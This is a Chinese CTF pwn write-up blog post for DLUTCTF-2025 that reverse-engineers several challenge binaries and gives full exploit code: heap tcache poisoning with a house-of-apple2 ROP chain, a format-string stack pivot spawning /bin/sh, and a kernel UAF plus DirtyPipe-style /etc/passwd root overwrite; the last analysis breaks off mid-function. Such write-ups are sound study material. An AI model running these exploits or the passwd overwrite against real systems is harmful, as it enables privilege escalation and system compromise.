IO_FILE on RatherHard の Blog

DLUTCTF-2025-pwn 题解

Mon, 27 Apr 2026 10:50:00 +0000

heap_master

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/dlutctf2025/heap/heap_master'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

IDA

trace

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53


unsigned __int64 trace()
{
 int stat_loc; // [rsp+Ch] [rbp-A4h] BYREF
 unsigned int v2; // [rsp+10h] [rbp-A0h]
 __pid_t pid; // [rsp+14h] [rbp-9Ch]
 __int64 v4; // [rsp+18h] [rbp-98h]
 _BYTE v5[120]; // [rsp+20h] [rbp-90h] BYREF
 __int64 v6; // [rsp+98h] [rbp-18h]
 unsigned __int64 v7; // [rsp+A8h] [rbp-8h]

 v7 = __readfsqword(0x28u);
 setvbuf(stdin, 0, 2, 0);
 setvbuf(stdout, 0, 2, 0);
 setvbuf(stderr, 0, 2, 0);
 v2 = fork();
 if ( !v2 )
 {
 if ( prctl(1, 9) < 0 )
 error("prctl error");
 if ( ptrace(PTRACE_TRACEME, 0, 0, 0) )
 error("hack !!!!");
 pid = getpid();
 kill(pid, 19);
 func();
 }
 if ( waitpid(v2, &stat_loc, 0) < 0 )
 error("waitpid error1");
 alarm(0xFu);
 ptrace(PTRACE_SETOPTIONS, v2, 0, 1);
 do
 {
 ptrace(PTRACE_SYSCALL, v2, 0, 0);
 if ( waitpid(v2, &stat_loc, 0x40000000) < 0 )
 error("waitpid error2");
 if ( (stat_loc & 0x7F) == 0 || (_BYTE)stat_loc == 127 && BYTE1(stat_loc) == 11 )
 break;
 if ( ptrace(PTRACE_GETREGS, v2, 0, v5) < 0 )
 error("GETREGS error");
 v4 = v6;
 if ( v6 == 59 )
 {
 printf("bad syscall: %llu\n", 59);
 v6 = -1;
 if ( ptrace(PTRACE_SETREGS, v2, 0, v5) < 0 )
 error("SETREGS error");
 }
 ptrace(PTRACE_SYSCALL, v2, 0, 0);
 if ( waitpid(v2, &stat_loc, 0x40000000) < 0 )
 error("waitpid error3");
 }
 while ( (stat_loc & 0x7F) != 0 && ((_BYTE)stat_loc != 127 || BYTE1(stat_loc) != 11) );
 return v7 - __readfsqword(0x28u);
}

反调试、沙箱

不过自己 patch 一下就可以调试了

func

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


void __noreturn func()
{
 int v0; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v1; // [rsp+8h] [rbp-8h]

 v1 = __readfsqword(0x28u);
 puts("Don't worry, it's just an ordinary pwn.");
 puts("now tell me your name.");
 read(0, name, 0x100u);
 printf("hello,%s.\n", name);
 while ( 1 )
 {
 menu();
 read_int(&v0);
 switch ( v0 )
 {
 case 0:
 case 6:
 myexit(&v0, name);
 case 1:
 alloc();
 break;
 case 2:
 dele(&v0, name);
 break;
 case 3:
 show(&v0, name);
 break;
 case 4:
 edit(&v0, name);
 break;
 case 5:
 backdoor(&v0, name);
 break;
 }
 }
}

菜单逻辑

alloc

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


unsigned __int64 alloc()
{
 unsigned int v1; // [rsp+8h] [rbp-18h] BYREF
 _DWORD size[3]; // [rsp+Ch] [rbp-14h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 *(_QWORD *)&size[1] = 0;
 puts("tell me idx:");
 read_int(&v1);
 if ( v1 <= 0x1D )
 {
 puts("tell me size:");
 read_int(size);
 if ( size[0] <= 0x4FFu && size[0] > 7u )
 {
 *(_QWORD *)&size[1] = malloc(size[0]);
 if ( *(_QWORD *)&size[1] )
 {
 chunk_list[v1] = *(_QWORD *)&size[1];
 chunk_size[v1] = size[0];
 }
 puts("alloc down");
 }
 }
 return v3 - __readfsqword(0x28u);
}

dele

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


unsigned __int64 dele()
{
 unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 puts("tell me idx:");
 read_int(&v1);
 if ( chunk_list[v1] && v1 <= 0x1E )
 {
 free((void *)chunk_list[v1]);
 chunk_list[v1] = 0;
 chunk_size[v1] = 0;
 puts("dele down");
 }
 return v2 - __readfsqword(0x28u);
}

show

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


unsigned __int64 show()
{
 unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 puts("tell me idx:");
 read_int(&v1);
 if ( chunk_list[v1] && v1 <= 0x1E )
 write(1, (const void *)chunk_list[v1], (int)chunk_size[v1]);
 return v2 - __readfsqword(0x28u);
}

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


unsigned __int64 edit()
{
 unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
 unsigned __int64 v2; // [rsp+8h] [rbp-8h]

 v2 = __readfsqword(0x28u);
 puts("tell me idx:");
 read_int(&v1);
 if ( chunk_list[v1] && v1 <= 0x1E )
 {
 puts("tell me context:");
 read(0, (void *)chunk_list[v1], chunk_size[v1] - 1);
 puts("dele down");
 }
 return v2 - __readfsqword(0x28u);
}

看不出有明显的堆漏洞

asm

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42


.text:0000000000001AF6 endbr64
.text:0000000000001AFA push rbp
.text:0000000000001AFB mov rbp, rsp
.text:0000000000001AFE sub rsp, 10h
.text:0000000000001B02 mov rax, fs:28h
.text:0000000000001B0B mov [rbp+var_8], rax
.text:0000000000001B0F xor eax, eax
.text:0000000000001B11 lea rax, aDonTWorryItSJu ; "Don't worry, it's just an ordinary pwn."
.text:0000000000001B18 mov rdi, rax ; s
.text:0000000000001B1B call _puts
.text:0000000000001B20 lea rax, aNowTellMeYourN ; "now tell me your name."
.text:0000000000001B27 mov rdi, rax ; s
.text:0000000000001B2A call _puts
.text:0000000000001B2F lea rsi, name ; buf
.text:0000000000001B36 mov rdi, 0 ; fd
.text:0000000000001B3D mov rdx, 100h ; nbytes
.text:0000000000001B44 call _read
.text:0000000000001B49 lea rax, name
.text:0000000000001B50 mov rsi, rax
.text:0000000000001B53 lea rax, aHelloS ; "hello,%s.\n"
.text:0000000000001B5A mov rdi, rax ; format
.text:0000000000001B5D mov eax, 0
.text:0000000000001B62 call _printf
.text:0000000000001B67
.text:0000000000001B67 loc_1B67: ; CODE XREF: func:loc_1BEC↓j
.text:0000000000001B67 push rsi
.text:0000000000001B68 mov eax, 0
.text:0000000000001B6D call menu
.text:0000000000001B72 lea rax, [rbp+var_C]
.text:0000000000001B76 mov rdi, rax
.text:0000000000001B79 call read_int
.text:0000000000001B7E pop rsi
.text:0000000000001B7F mov eax, [rbp+var_C]
.text:0000000000001B82 mov eax, eax
.text:0000000000001B84 lea rdx, ds:0[rax*4] ; switch 7 cases
.text:0000000000001B8C lea rax, jpt_1BA2
.text:0000000000001B93 mov eax, ds:(jpt_1BA2 - 215Ch)[rdx+rax]
.text:0000000000001B96 cdqe
.text:0000000000001B98 lea rdx, jpt_1BA2
.text:0000000000001B9F add rax, rdx
.text:0000000000001BA2 db 3Eh ; switch jump
.text:0000000000001BA2 jmp rax

switch 针对 rax 不设校验，有跳转表的漏洞

跳转到哪里好呢？

1
2
3
4


.text:0000000000001B2F lea rsi, name ; buf
.text:0000000000001B36 mov rdi, 0 ; fd
.text:0000000000001B3D mov rdx, 100h ; nbytes
.text:0000000000001B44 call _read

想到利用 rsi 残留值跳到 1B36 处

经过动调发现 rsi 在经过 show 函数后会指向我们指定的 chunk ，那么利用跳转表漏洞就可以打堆溢出啦

跳转表的条目要写在 name 上（

最后就是 tcache poisoning -> house of apple2 的板子

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './heap_master_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def safe_linking(pos, ptr):
 return (pos >> 12) ^ ptr

def jmp(idx):
 sla(b'input :', str(idx).encode())

def alloc(idx, size):
 sla(b'input :', b'1')
 sla(b'idx:', str(idx).encode())
 sa(b'size:', str(size).encode())

def dele(idx):
 sla(b'input :', b'2')
 sla(b'idx:', str(idx).encode())

def show(idx):
 sla(b'input :', b'3')
 sla(b'idx:', str(idx).encode())

def edit(idx, content):
 sla(b'input :', b'4')
 sla(b'idx:', str(idx).encode())
 sa(b'context:', content)

def exit():
 sla(b'input :', b'6')

sla(b'name.\n', b'\xda\xf9\xff\xff')

alloc(0, 0x80)
dele(0)
alloc(0, 0x80)
show(0)
heap = uu64(ru(b'\x05')[-5:]) << 12
leak('heap')

for i in range(1, 10):
 alloc(i, 0x80)
for i in range(0, 9):
 dele(i)
for i in range(0, 8):
 alloc(i, 0x80)
show(7)
libc.address = uru64() - 0x21adf0
leak('libc.address')

alloc(8, 0x80)
alloc(10, 0x18)
alloc(11, 0x18)
alloc(12, 0x18)
dele(12)
dele(11)
edit(10, b'OwO')
show(10)

jmp(1985)
payload = b'A' * 0x18 + p64(0x21) + p64(safe_linking(heap + 0xc50, heap + 0x100))
sl(payload)
alloc(13, 0xf8)
dele(13)
alloc(14, 0x18)
alloc(15, 0x18)
stderr = libc.sym['_IO_2_1_stderr_']
edit(15, p64(stderr))

alloc(16, 0xf8)
fake_io = flat({
 0x0: 0,
 0x10: b'flag\x00',
 0x28: libc.sym['setcontext'] + 0x3d,
 0x38: 0, # RDI
 0x40: stderr + 0x20, # RSI
 0x58: 0x400, # RDX
 0x70: stderr + 0x20, # RSP
 0X78: libc.sym['read'], # RIP
 0x88: stderr,
 0xA0: stderr - 0x30, # __rdx__
 0xB0: stderr - 0x40,
 0xD8: libc.sym['_IO_wfile_jumps']
 },
 filler=b"\x00"
)
edit(16, fake_io)

exit()

pop_rax_ret = libc.address + 0x45eb0
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f2e7
syscall_ret = libc.address + 0x91316

rop_chain = flat([
 pop_rax_ret,
 2,
 pop_rdi_ret,
 stderr + 0x10,
 pop_rsi_ret,
 0,
 syscall_ret,		# open("flag", 0, 0)
 pop_rax_ret,
 0,
 pop_rdi_ret,
 3,
 pop_rsi_ret,
 stderr + 0x100,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret,		# read(3, buf, 0x100)
 pop_rax_ret,
 1,
 pop_rdi_ret,
 1,
 pop_rsi_ret,
 stderr + 0x100,
 pop_rdx_pop_r12_ret,
 0x100,
 0,
 syscall_ret		# write(1, buf, 0x100)
])

s(rop_chain)

itr()

# 0x0000000000045eb0: pop rax; ret; 
# 0x000000000002a3e5: pop rdi; ret; 
# 0x000000000002be51: pop rsi; ret; 
# 0x000000000011f2e7: pop rdx; pop r12; ret;
# 0x0000000000091316: syscall; ret; 

fmt

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/dlutctf2025/fmt/fmt'
 Arch: amd64-64-little
 RELRO: Partial RELRO
 Stack: No canary found
 NX: NX enabled
 PIE: No PIE (0x400000)
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

应该是很简单的栈

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


int __fastcall main(int argc, const char **argv, const char **envp)
{
 setbuf(stdin, 0);
 setbuf(stdout, 0);
 setbuf(stderr, 0);
 puts("you have one chance .");
 read(0, &buf, 0x100u);
 func1((__int64)&buf);
 return 0;
}

func1

1
2
3
4


int __fastcall func1(const char *a1)
{
 return func2(a1);
}

func2

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12


int __fastcall func2(const char *a1)
{
 int result; // eax

 result = flag;
 if ( flag == 1 )
 {
 result = printf(a1);
 flag = 0;
 }
 return result;
}

攻击思路

格式化字符串打栈， func 套了两层，那么栈迁移一下就行啦

尝试用了 pwntools 的神奇 rop 工具，挺好用的

有时间打算去看看 pwncli

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './fmt_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

fake_stack = 0x4040a0 + 0x80
back = 0x401252
payload = b'%' + str(fake_stack - 0x8).encode() + b'c%8$ln;%3$p'
payload = payload.ljust(0x80, b'\x00')
payload += p64(back)
sa(b'chance .', payload)
ru(b';0x')
libc.address = int(r(12).decode('utf-8'), 16) - 0x1147e2
leak('libc.address')

bin_sh = next(libc.search(b'/bin/sh'))
chain = ROP(libc)
chain.execve(bin_sh, 0, 0)
payload = b'A' * 0x80 + chain.chain()

s(payload)
itr()

ker

第一道内核题

IDA

ioctl

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


__int64 __fastcall module_ioctl(file *__file, __int64 cmd, unsigned __int64 param)
{
 unsigned int v3; // edx
 unsigned int v4; // r12d
 __int64 v5; // rbx
 _QWORD *v7; // rax

 _fentry__();
 v4 = v3;
 raw_spin_lock(&spin);
 switch ( (_DWORD)cmd )
 {
 case 0xFFFF:
 kfree(buffer);
 buffer = 0;
 break;
 case 0xDEADBEEF:
 if ( v4 <= 0x400 )
 *((_BYTE *)buffer + (v4 >> 3)) ^= 1 << (v4 & 7);
 break;
 case 0x1000:
 v7 = buffer;
 if ( !buffer )
 {
 v7 = (_QWORD *)kmalloc_trace(kmalloc_caches[262], 0x400CC0, 1024);
 buffer = v7;
 if ( !v7 )
 {
 v5 = -1;
 goto LABEL_5;
 }
 }
 *v7 = 0;
 v7[127] = 0;
 memset(
 (void *)((unsigned __int64)(v7 + 1) & 0xFFFFFFFFFFFFFFF8LL),
 0,
 8LL * (((unsigned int)v7 - (((_DWORD)v7 + 8) & 0xFFFFFFF8) + 1024) >> 3));
 break;
 }
 v5 = 0;
LABEL_5:
 raw_spin_unlock(&spin);
 return v5;
}

有位翻转

open

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


__int64 __fastcall module_open(inode *__inode, file *__file)
{
 _fentry__();
 raw_spin_lock(&spin);
 if ( buffer )
 goto LABEL_2;
 buffer = (void *)kmalloc_trace(kmalloc_caches[262], 0x400CC0, 1024);
 if ( buffer )
 {
 memset(buffer, 0, 0x400u);
LABEL_2:
 raw_spin_unlock(&spin);
 return 0;
 }
 return 0xFFFFFFFFLL;
}

打开设备时往全局变量 buffer 上写入指向堆区的指针，但如果 buffer 非空则不做操作

release

1
2
3
4
5
6
7
8
9


__int64 __fastcall module_release(inode *__inode, file *__file)
{
 _fentry__();
 raw_spin_lock(&spin);
 if ( buffer )
 kfree(buffer);
 raw_spin_unlock(&spin);
 return 0;
}

close 时会 free ，结合上面的 open 产生了 UAF

攻击思路

听学长的建议去了解了一下 DirtyPipe

发现这题用 DirtyPipe 很好打，甚至不用做 rop 或者绕各种保护

有了 UAF 就把 pipe_buffer 喷上去，然后用位翻转改 flag 就能去写任意文件了

然后去改 /etc/passwd 的 root 密码， su 一下就能提权

有空会去复现一下相关 CVE

经验总结

这道题只申请一个 pipe_buffer 可能命中不了，所以需要多申请几个，这就是堆喷射: Heap Spray

fd 被 close 后就没了，想用 ioctl 的话需要再次 open

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


#include "kernelpwn.h"

#define CMD_CLEAN 0xFFFF
#define CMD_ALLOC 0x1000
#define CMD_EDIT 0xDEADBEEF

int spraycount = 50;

int main() {
 printf("Enter spraycount:");
 scanf("%d", &spraycount);
 bind_core(0);

 int file_fd = open("/etc/passwd", O_RDONLY);
 
 int fd = open("/dev/kernel_master", O_RDWR);
 close(fd);

 int pipe_fds[spraycount][2];
 for (int i = 0; i < spraycount; i++) {
 pipe(pipe_fds[i]);
 splice(file_fd, NULL, pipe_fds[i][1], NULL, 1, SPLICE_F_MOVE);
 }

 int fd2 = open("/dev/kernel_master", O_RDWR);
 ioctl(fd2, CMD_EDIT, (24 << 3) + 4);

 const char *data = "oot::0:0:root:/root:/bin/sh\n";
 for (int i = 0; i < spraycount; i++) {
 write(pipe_fds[i][1], data, strlen(data));
 }

 return 0;
}

据说是 NeSE 考核题目的题解

Mon, 27 Apr 2026 10:50:00 +0000

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/dlutctf2025/deploy/main'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 SHSTK: Enabled
 IBT: Enabled
 Stripped: No

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86


int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
 const char *password; // rdx
 const char *password_1; // rdx
 __int64 task; // rbx
 int i; // [rsp+4h] [rbp-6Ch]
 int idx; // [rsp+8h] [rbp-68h]
 int idx_1; // [rsp+Ch] [rbp-64h]
 _DWORD *packet; // [rsp+10h] [rbp-60h]
 const char *token; // [rsp+18h] [rbp-58h]
 char *command; // [rsp+20h] [rbp-50h]
 __int64 user; // [rsp+28h] [rbp-48h]
 char *task_content; // [rsp+38h] [rbp-38h]
 const char *name_1; // [rsp+40h] [rbp-30h]
 const char *name; // [rsp+50h] [rbp-20h]

 while ( 1 )
 {
 while ( 1 )
 {
 packet = read_packet();
 token = (const char *)get_filed_value((__int64)packet, "user_token");
 command = (char *)get_filed_value((__int64)packet, "command");
 if ( !command )
 err("Invalid packet");
 if ( !token )
 {
 if ( !strcmp(command, "login") )
 {
 name = (const char *)get_filed_value((__int64)packet, "username");
 password = (const char *)get_filed_value((__int64)packet, "password");
 user_login(name, password);
 }
 else
 {
 if ( strcmp(command, "register") )
 err("Invalid command");
 name_1 = (const char *)get_filed_value((__int64)packet, "username");
 password_1 = (const char *)get_filed_value((__int64)packet, "password");
 user_register(name_1, password_1);
 }
 goto LABEL_28;
 }
 idx = search_user_by_token(token, 32);
 if ( idx == -1 )
 err("Invalid token");
 user = all_users[idx];
 if ( strcmp(command, "submit_task") )
 break;
 if ( *(_QWORD *)(user + 0x20) ) // task
 {
 if ( !*(_DWORD *)(user + 0x18) )
 {
 *(_DWORD *)(user + 0x18) = 1;
 task_content = (char *)get_filed_value((__int64)packet, "task_content");
 if ( !task_content )
 err("Invalid packet");
 task = *(_QWORD *)(user + 32);
 *(_QWORD *)(task + 32) = strdup(task_content);
 run_task(*(void **)(user + 32));
 goto LABEL_28;
 }
 puts("Task is being running, try again later");
 }
 else
 {
 puts("Sorry you cannot run task");
 }
 }
 if ( strcmp(command, "deregister") )
 err("Invalid command");
 if ( user_count > 0 )
 {
 idx_1 = search_user_by_token(token, 32);
 if ( idx_1 == -1 )
 err("Invalid token");
 free((void *)all_users[idx_1]);
 for ( i = idx_1; i < user_count - 1; ++i )
 all_users[i] = all_users[i + 1];
 all_users[--user_count] = 0;
 puts("Deregister success");
LABEL_28:
 free_packet((__int64)packet);
 }
 }
}

read_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23


_DWORD *read_packet()
{
 int len; // [rsp+4h] [rbp-102Ch]
 char *s; // [rsp+8h] [rbp-1028h]
 _DWORD *packet; // [rsp+10h] [rbp-1020h]
 char *v4; // [rsp+18h] [rbp-1018h]
 _QWORD buf[514]; // [rsp+20h] [rbp-1010h] BYREF

 buf[513] = __readfsqword(0x28u);
 memset(buf, 0, 0x1000u);
 len = read(0, buf, 0xFFFu);
 *((_BYTE *)buf + len) = 0;
 packet = create_packet();
 for ( s = (char *)buf; s < (char *)buf + len; s = v4 + 1 )
 {
 v4 = strchr(s, '\n');
 if ( !v4 )
 break;
 *v4 = 0;
 packet_parse_line((__int64)packet, s);
 }
 return packet;
}

解析数据包，按行分配

create_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27


_DWORD *create_packet()
{
 _DWORD *ptr; // [rsp+8h] [rbp-8h]

 ptr = malloc(0x10u);
 if ( ptr )
 {
 *(_QWORD *)ptr = malloc(0x80u);
 if ( *(_QWORD *)ptr )
 {
 ptr[2] = 0;
 ptr[3] = 8;
 return ptr;
 }
 else
 {
 perror("malloc fields failed");
 free(ptr);
 return 0;
 }
 }
 else
 {
 perror("malloc packet failed");
 return 0;
 }
}

为数据包分配空间

packet_parse_line

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


void __fastcall packet_parse_line(__int64 packet, const char *key)
{
 char *value; // [rsp+18h] [rbp-18h]

 value = strchr(key, ':');
 if ( value )
 {
 *value = 0;
 add_filed(packet, key, value + 1);
 }
}

可以看出数据包的格式：

1

key1:val1\nkey2:val2\n...

add_filed

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


void __fastcall add_filed(__int64 packet, const char *key, const char *value)
{
 char **v3; // rbx
 __int64 v4; // rbx

 if ( packet
 && key
 && value
 && (*(_DWORD *)(packet + 8) < *(_DWORD *)(packet + 12) || (unsigned int)expand_fields(packet)) )
 {
 v3 = (char **)(*(_QWORD *)packet + 16LL * *(int *)(packet + 8));
 *v3 = strdup(key);
 v4 = *(_QWORD *)packet + 16LL * *(int *)(packet + 8);
 *(_QWORD *)(v4 + 8) = strdup(value);
 ++*(_DWORD *)(packet + 8);
 }
}

注意 strdup 会为字符串分配堆空间

get_filed_value

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


__int64 __fastcall get_filed_value(__int64 packet, const char *key)
{
 int i; // [rsp+1Ch] [rbp-4h]

 if ( !packet || !key )
 return 0;
 for ( i = 0; i < *(_DWORD *)(packet + 8); ++i )
 {
 if ( !strcmp(*(const char **)(16LL * i + *(_QWORD *)packet), key) )
 return *(_QWORD *)(16LL * i + *(_QWORD *)packet + 8);
 }
 return 0;
}

user_login

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


__int64 __fastcall user_login(const char *name, const char *password)
{
 __int64 result; // rax
 int i; // [rsp+1Ch] [rbp-4h]

 if ( !name || !password )
 return 0;
 for ( i = 0; ; ++i )
 {
 result = (unsigned int)user_count;
 if ( i >= user_count )
 break;
 if ( !strcmp(name, *(const char **)(all_users[i] + 8LL)) && !strcmp(password, *(const char **)(all_users[i] + 16LL)) )
 {
 puts("Login success");
 printf("user_token:%s\n", *(const char **)all_users[i]);
 }
 }
 return result;
}

登录逻辑，登录成功会返回 token

user_register

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25


__int64 __fastcall user_register(const char *name, const char *password)
{
 int idx; // eax
 int i; // [rsp+14h] [rbp-Ch]
 _QWORD *user; // [rsp+18h] [rbp-8h]

 if ( !name || !password )
 return 0xFFFFFFFFLL;
 for ( i = 0; i < user_count; ++i )
 {
 if ( !strcmp(name, *(const char **)(all_users[i] + 8LL)) )
 err("User already exists");
 }
 user = malloc(0x28u);
 *user = malloc(0x20u); // token
 gen_random_bytes((_BYTE *)*user, 0x20u);
 user[1] = strdup(name);
 user[2] = strdup(password);
 *((_DWORD *)user + 6) = 0;
 allocate_task((__int64)user);
 idx = user_count++;
 all_users[idx] = user;
 puts("Reigster success!");
 return 0;
}

会尝试为每个用户分配 task 空间

allocate_task

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


__int64 __fastcall allocate_task(__int64 user)
{
 __int64 result; // rax
 _QWORD *task; // [rsp+18h] [rbp-8h]

 result = (unsigned int)task_allocated;
 if ( task_allocated <= 15 )
 {
 task = malloc(0x28u);
 task[1] = 0;
 *(_DWORD *)task = 0;
 task[3] = user + 0x18;
 ++task_allocated;
 result = user;
 *(_QWORD *)(user + 0x20) = task;
 }
 return result;
}

task 上限为 15 个

search_user_by_token

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11


__int64 __fastcall search_user_by_token(const char *token, int len)
{
 int i; // [rsp+1Ch] [rbp-4h]

 for ( i = 0; i < user_count; ++i )
 {
 if ( !strncmp(token, *(const char **)all_users[i], len) )
 return (unsigned int)i;
 }
 return 0xFFFFFFFFLL;
}

run_task

1
2
3
4
5
6
7
8
9


unsigned __int64 __fastcall run_task(void *task)
{
 pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 pthread_create(&newthread, 0, (void *(*)(void *))do_task, task);
 return v3 - __readfsqword(0x28u);
}

开一个线程跑任务，直接跑，没有锁的相关逻辑

free_packet

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


void __fastcall free_packet(__int64 packet)
{
 int i; // [rsp+1Ch] [rbp-4h]

 if ( packet )
 {
 for ( i = 0; i < *(_DWORD *)(packet + 8); ++i )
 {
 free(*(void **)(16LL * i + *(_QWORD *)packet));
 free(*(void **)(16LL * i + *(_QWORD *)packet + 8));
 }
 free(*(void **)packet);
 free((void *)packet);
 }
}

释放与 packet 有关的所有资源

do_task

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


void *__fastcall do_task(const char **task)
{
 int i; // [rsp+1Ch] [rbp-14h]
 char *dest; // [rsp+28h] [rbp-8h]

 *(_DWORD *)task = strlen(task[4]);
 dest = (char *)task[4];
 for ( i = 0; i < *(_DWORD *)task; ++i )
 task[4][i] ^= 0x3Fu;
 task_log(*((_DWORD *)task + 4), "Task has been done\n");
 memcpy(dest, task[4], *(int *)task);
 return 0;
}

执行任务，会先对 task content 做一个异或操作，然后重新自拷贝一遍

如果在 memcpy 之前覆写了 task content 的指针，就有机会重写 dest 的内容并实现堆溢出

利用异或操作可以规避 ‘\x00’ 的截断

task_log

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


unsigned __int64 __fastcall task_log(int a1, const char *a2)
{
 int v3; // [rsp+14h] [rbp-2BCh]
